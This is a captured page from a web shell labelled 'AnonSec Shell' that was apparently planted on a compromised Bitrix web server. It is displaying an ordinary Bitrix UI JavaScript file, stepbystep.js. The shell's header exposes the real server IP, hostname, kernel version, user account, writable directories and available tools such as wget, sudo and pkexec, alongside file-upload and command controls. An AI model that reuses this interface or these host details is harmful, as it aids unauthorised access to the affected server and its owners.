AnonSec Shell
Server IP : 85.193.89.191  /  Your IP : 18.219.180.175
Web Server : Apache
System : Linux 956367-cx40159.tmweb.ru 3.10.0-1160.105.1.el7.x86_64 #1 SMP Thu Dec 7 15:39:45 UTC 2023 x86_64
User : bitrix ( 600)
PHP Version : 8.1.27
Disable Function : NONE
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/bitrix/www/bitrix/js/ui/stepbystep/src/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/bitrix/www/bitrix/js/ui/stepbystep/src/stepbystep.js
import StepByStepItem from './stepbystep.item';
import { Tag, Dom } from 'main.core';
import 'ui.fonts.opensans';
import './css/style.css';


export class StepByStep
{
	constructor(options = {})
	{
		this.target = options.target || null;
		this.content = options.content || null;
		this.contentWrapper = null;
		this.items = [];
		this.counter = 0;
	}

	getItem(item): StepByStepItem
	{
		if (item instanceof StepByStepItem)
		{
			return item;
		}

		this.counter++;

		if (this.counter === 1)
		{
			item.isFirst = '--first';
		}

		if (this.counter === this.content.length)
		{
			item.isLast = '--last';
		}

		item = new StepByStepItem(item, this.counter);

		if (this.items.indexOf(item) === -1)
		{
			this.items.push(item);
		}

		return item;
	}

	getContentWrapper(): HTMLElement
	{
		if (!this.contentWrapper)
		{
			this.contentWrapper = Tag.render`
				<div class="ui-stepbystep__content ui-stepbystep__scope"></div>
			`;

			this.content.map((item)=> {

				item.html.map((itemObj)=> {
					this.contentWrapper.appendChild(this.getItem(itemObj).getContainer());
				});

			});
		}

		return this.contentWrapper;
	}

	init()
	{
		if (this.target && this.content)
		{
			Dom.clean(this.target);
			this.target.appendChild(this.getContentWrapper());
		}
	}
}

Anon7 - 2022
AnonSec Team